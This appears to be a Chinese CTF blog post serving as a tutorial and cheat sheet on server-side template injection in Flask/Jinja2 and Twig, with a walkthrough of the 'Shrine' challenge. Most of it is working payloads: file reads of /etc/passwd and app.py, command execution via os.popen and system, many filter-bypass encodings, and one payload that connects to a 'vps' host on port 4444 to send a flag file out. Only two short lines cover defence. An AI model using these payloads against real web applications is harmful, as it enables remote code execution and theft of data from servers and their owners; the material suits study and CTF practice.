HacKerQWQ的博客空间

SSTI模板注入

Word count: 2.1kReading time: 10 min
2020/08/19 Share

原理说明:
一篇文章带你入门ssti
内含payload及绕过方法
github上的payload大全

hacktricks

SSTI漏洞

SSTI的原理就是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。

  • {{}}`并不仅仅可以传递变量,还可以执行一些简单的表达式,python语法的表达式都可以执行 简单例子:

    1
    https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818100505026.png
    ![image-20210818100505026](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818100505026.png) 判断不同后端的方法用下图: ![](6.png) # 知识点
    1
    2
    3
    4
    5
    6
    7
    8
    9
    __class__  返回类型所属的对象
    __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __bases__ 返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的

    __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__ 类的初始化方法
    __globals__ 对包含函数全局变量的字典的引用
    __dict__ 保存类实例或对象实例的属性变量键值对字典
    Flask使用的jinja2模板语法:
    1
    2
    3
    4
    5
    {% ... %} for Statements

    {{ ... }} for Expressions to print to the template output

    {# ... #} for Comments not included in the template output
    ## 利用方式 获取object类然后获取object类的子类,遍历寻找可利用的类 * 第一步:获取基本类
    1
    2
    3
    4
    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    * 第二步:获取基本类的子类 `object.__subclasses__()` ![image-20210818101631698](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818101631698.png) * 第三步:寻找命令执行或者文件操作的模块 1. 文件读取
    1
    ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
    2. 命令执行 寻找`__builtins__`(可以调用eval)
    1
    2
    [].__class__.__base__.__subclasses__()[76].__ini
    t__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    ![image-20210818103000360](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818103000360.png) ## 寻找可用模块 * 寻找包含`__builtins__`的模块,使用eval调用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #coding:utf-8

    search = '__builtins__'
    num = -1
    for i in().__class__.__bases__[0].__subclasses__():
    num+=1
    try:
    # print(i.__init__.__globals__.keys())
    if search in i.__init__.__globals__.keys():
    print(i,num)
    except:
    pass
    1
    [].__class__.__bases__[0].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    * 寻找包含`os`模块的类
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #!/usr/bin/env python
    # encoding: utf-8
    for item in ''.__class__.__mro__[2].__subclasses__():
    try:
    if 'os' in item.__init__.__globals__:
    print num,item
    num+=1
    except:
    print '-'
    num+=1
    1
    ''.__class__.__mro__[1].__subclasses__()[214].__init__.__globals__['os'].popen('whoami').read()
    ![image-20210818103905331](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818103905331.png) * 使用burpsuite的Intruder模块爆破 ![image-20210818153134076](https://blog-pho.oss-cn-shanghai.aliyuncs.com/blog/image-20210818153134076.png) # 常用payload ## python2 * 读文件:
    1
    ().__class__.__bases__[0].__subclasses__()[40](r’/flag' ).read()
    * 命令执行:
    1
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen(”ls").read()' )
    ## python3 * 命令执行 命令执行的方法有以下几种 1. `os.system('whoami')` 2. `os.popen("whoami").read()` 3. `sys.modules('os').system("whoami")`
    1
    2
    3
    4
    5
    6
    7
    8
    ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
    ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
    [].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
    config.__class__.__init__.__globals__['os'].popen('ls').read()
    #自动遍历+命令执行
    {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoami
    #自动遍历+远程vps回显
    {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\",\"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
    * 文件读取
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    {{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
    {{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[80]["\u006c\u006f\u0061\u0064\u005f\u006d\u006f\u0064\u0075\u006c\u0065"]("os")["popen"]("ls /")|attr("read")()}}
    # 用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令

    """
    {{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
    # 用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
    """
    {{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[91]["\u0067\u0065\u0074\u005f\u0064\u0061\u0074\u0061"](0, "app.py")}}

    """
    {{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
    # 用<class '_frozen_importlib_external.FileLoader'>这个去读取文件
    """
    Twig注入paylaod:
    1
    username={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}
    # bypass * 关键词拼接 比如`'__c'+'lass__'` * 利用request.args属性(cookie等)
    1
    2
    3
    ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
    ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.cookies.get('username')).read()}}&path=/etc/passwd
    #或者request.cookies.username
    * 十六进制编码
    1
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
    * Unicode编码
    1
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']
    * 过滤点`.`的情况 1. `{{request|attr("get")}}
    相当于request.get

    1. jinja2模板中,{{''.__class__}}={{''['__cl'+'__ass']}}
  • 过滤[]

    1. 使用getitem绕过
    1
    ''.__class__.__bases__.__getitem__(2)
    1. 使用getlist绕过

      1
      {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
  • 过滤_

    1. 使用request.args.ajoin拼接字符串

      1
      {{config|attr([request.args.a*2,request.args.b,request.args.a*2]|join)}}&a=_&b=class
  • 过滤|join

    1. 使用format

      1
      {{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
  • import bypass

    1
    2
    3
    4
    import os
    __import__("os")
    import importlib
    importlib.import_module("os")

过大多数过滤的payload

1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

xman训练营例题

1
2
3
4
5
6
def waf(s):
black_list = ['\'','"','class','[',']','get','args','init','_','ord','chr']
for black in black_list:
if black.lower() in s.lower():
return True
return False

这里过滤了单引号,下划线,中括号,可以分别用request.cookies.*__getitem__配合attr绕过

最终payload

1
2
3
{{config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.e)|attr(request.cookies.f)(request.cookies.g)|attr(request.cookies.h)()}}

Cookie: a=__class__; b=__init__; c=__globals__; d=__getitem__; e=os; f=popen; g=cat app.py; h=read

攻防世界Shrine

使用了flask的模板,直接放源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)

意思就是index是展示源代码,shrine/是执行输入的变量

分析&解题

先在本地执行一下safe_jinja(s)函数看看

意思就是将之前设置在config中的flag清除,并且过滤了()两个扩号
禁用了括号意味着大部分方法都无法调用,并且也没有系统上的文件可以查看
应该想到python内置的函数url_forget_flashed_messages
url_for的用法:

get_flashed_messages的用法:

初步构造payload看看url_for的全局变量有什么

发现一个current_app:Flask app指的就是当前app
构造url_for.__globals__['current_app'].configpayload查看current_app里面有什么

找到flag

bypass

https://xz.aliyun.com/t/6885

SSTI防御

1.尽可能加载静态模板文件。

2.不要允许用户控制此类文件或其内容的路径。

CATALOG
  1. 1. SSTI漏洞
    1. 1.1. xman训练营例题
  2. 2. 攻防世界Shrine
    1. 2.0.1. 分析&解题
  • 3. bypass
  • 4. SSTI防御